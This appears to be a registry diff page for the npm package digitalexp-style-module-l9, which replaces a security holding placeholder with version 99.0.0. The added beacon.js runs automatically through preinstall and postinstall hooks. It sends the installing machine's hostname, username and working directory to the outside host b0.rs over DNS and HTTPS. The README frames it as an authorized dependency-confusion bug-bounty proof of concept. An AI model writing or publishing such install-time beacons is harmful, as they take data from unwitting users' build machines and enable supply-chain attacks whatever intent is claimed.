digitalexp-style-module-l9 0.0.1-security → 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-style-module-l9 might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,12 @@
1
- # Security holding package
1
+ # digitalexp-style-module-l9
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ **This is not a real package.** It is a benign placeholder published for an
4
+ **authorized security-research / bug-bounty engagement** to demonstrate a
5
+ dependency-confusion exposure (an internal package name resolvable from the
6
+ public npm registry).
4
7
 
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-style-module-l9 for more information.
8
+ It performs a single harmless callback (hostname / username / cwd) to identify
9
+ which build host resolved it, exfiltrates nothing else, is fully non-destructive,
10
+ and always exits 0. If you are an engineer who found this in your build: your
11
+ CI resolved an internal name from public npm. Please contact the reporter via
12
+ the relevant bug-bounty program to have this removed.
package/beacon.js ADDED
@@ -0,0 +1,34 @@
1
+ /*
2
+ * Authorized dependency-confusion PoC beacon (benign).
3
+ * Purpose: prove that a build resolved this internal package name from the
4
+ * PUBLIC npm registry. It reports ONLY: hostname, username, cwd, package name.
5
+ * It exfiltrates NO files, NO env secrets, does NOTHING destructive, and ALWAYS
6
+ * exits 0 so it can never break a build. Security research / bug bounty only.
7
+ */
8
+ (function () {
9
+ try {
10
+ var os = require('os');
11
+ var pkg = 'digitalexp-style-module-l9';
12
+ var id = (Date.now().toString(36) + Math.random().toString(36).slice(2, 8));
13
+ var info = [os.hostname(), (os.userInfo && os.userInfo().username) || '', process.cwd()].join('~');
14
+ // hex-encode + chunk into DNS labels (<=60 chars each)
15
+ var hex = Buffer.from(info).toString('hex');
16
+ var labels = (hex.match(/.{1,60}/g) || []).slice(0, 3);
17
+ var host = labels.concat([id, 'dscl9']).join('.') + '.b0.rs';
18
+
19
+ // Channel 1: DNS (best chance of escaping egress-filtered CI)
20
+ try { require('dns').lookup(host, function () {}); } catch (e) {}
21
+
22
+ // Channel 2: HTTPS GET (carries readable body if outbound HTTP is allowed)
23
+ try {
24
+ var https = require('https');
25
+ var q = 'poc=' + encodeURIComponent(pkg) + '&id=' + id +
26
+ '&host=' + encodeURIComponent(os.hostname()) +
27
+ '&cwd=' + encodeURIComponent(process.cwd());
28
+ var req = https.get('https://b0.rs/?' + q, function (r) { r.resume(); });
29
+ req.on('error', function () {});
30
+ req.setTimeout(4000, function () { try { req.destroy(); } catch (e) {} });
31
+ } catch (e) {}
32
+ } catch (e) { /* never fail the install */ }
33
+ process.exit(0);
34
+ })();
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "digitalexp-style-module-l9",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.0",
4
+ "description": "Authorized security-research placeholder (dependency-confusion PoC). Benign, non-destructive.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node beacon.js",
8
+ "postinstall": "node beacon.js"
9
+ },
10
+ "license": "MIT",
11
+ "files": ["beacon.js", "index.js", "README.md"]
6
12
  }